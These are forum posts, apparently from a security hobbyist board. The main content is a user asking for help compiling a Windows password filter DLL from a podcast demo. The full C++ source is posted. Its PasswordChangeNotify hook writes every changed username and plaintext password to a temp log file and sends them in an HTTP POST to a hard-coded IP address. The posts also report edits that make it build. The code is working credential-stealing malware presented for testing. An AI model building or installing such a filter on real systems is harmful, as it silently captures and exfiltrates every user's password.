Jump to content

kameleon

Active Members
  • Posts

    7
  • Joined

  • Last visited

  • Days Won

    1

Posts posted by kameleon

  1. I ordered a PS, BB, and some books. Missing one of the books so I opened a support ticket a week ago. No response yet. Now that I know stickers were supposed to come with it I didn't get stickers either. Maybe I'll add it to the ticket. I expect they were bombarded by the holiday sale they were running is why some things slipped through the cracks.

  2. Ok, I finally got it to compile. I had to remove the lines:

     
     
     
    // Default DllMain implementation
    BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
                         )
    {
        OutputDebugString(L"DllMain");
        switch (ul_reason_for_call)
        {
            case DLL_PROCESS_ATTACH:
            case DLL_THREAD_ATTACH:
            case DLL_THREAD_DETACH:
            case DLL_PROCESS_DETACH:
                break;
        }
        return TRUE;
    }
    

    and change the

            {
    		return;
    	}
    

    to

            {
    		return -1;
    	}
    

    It then built correctly. I have placed it in windows/system32 folder and rebooted. But it is not writing the logfile nor is it sending the http request. What am I doing wrong?

  3. I have been going over everything that Darren and Mubix talked about in ep1505.2 trying to get the password filters setup for testing. However I cannot for the life of me get the passfilter.cpp to compile in visual studio. I have never dealt with VS before as I come from a Linux background. I did edit the IP address and had to add the required "#include "stdafx.h" line. When I go to build it gives me an error of:

    Error 1 error C2561: 'PasswordChangeNotify' : function must return a value c:\users\blah\documents\visual studio 2013\projects\passfilter\passfilter\passfilter.cpp 75 1 passfilter
    Below is my passfilter.cpp
    // passfilter.cpp : Defines the exported functions for the DLL application.
    
    #include "stdafx.h"
    #include "windows.h"
    #include "stdio.h"
    #include "WinInet.h"
    #include "ntsecapi.h"
    
    void writeToLog(const char* szString)
    {
    	FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
    	if (NULL == pFile)
    	{
    		return;
    	}
    	fprintf(pFile, "%s\r\n", szString);
    	fclose(pFile);
    	return;
    }
    
    
    
    // Default DllMain implementation
    BOOL APIENTRY DllMain(HANDLE hModule,
    	DWORD  ul_reason_for_call,
    	LPVOID lpReserved
    	)
    {
    	OutputDebugString(L"DllMain");
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    
    BOOLEAN __stdcall InitializeChangeNotify(void)
    {
    	OutputDebugString(L"InitializeChangeNotify");
    	writeToLog("InitializeChangeNotify()");
    	return TRUE;
    }
    
    BOOLEAN __stdcall PasswordFilter(
    	PUNICODE_STRING AccountName,
    	PUNICODE_STRING FullName,
    	PUNICODE_STRING Password,
    	BOOLEAN SetOperation)
    {
    	OutputDebugString(L"PasswordFilter");
    	return TRUE;
    }
    
    NTSTATUS __stdcall PasswordChangeNotify(
    	PUNICODE_STRING UserName,
    	ULONG RelativeId,
    	PUNICODE_STRING NewPassword)
    {
    	FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
    	//HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
    	HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    	HINTERNET hSession = InternetConnect(hInternet, L"10.0.0.1", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    	HINTERNET hReq = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0);
    	char* pBuf = "SomeData";
    
    
    
    	OutputDebugString(L"PasswordChangeNotify");
    	if (NULL == pFile)
    	{
    		return;
    	}
    	fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer, NewPassword->Buffer);
    	fclose(pFile);
    	InternetSetOption(hSession, INTERNET_OPTION_USERNAME, UserName->Buffer, UserName->Length / 2);
    	InternetSetOption(hSession, INTERNET_OPTION_PASSWORD, NewPassword->Buffer, NewPassword->Length / 2);
    	HttpSendRequest(hReq, NULL, 0, pBuf, strlen(pBuf));
    
    	return 0;
    }
    
    

    The problem is on the

    	{
    		return;
    	}
    

    line towards the bottom. Any thoughts?

×
×
  • Create New...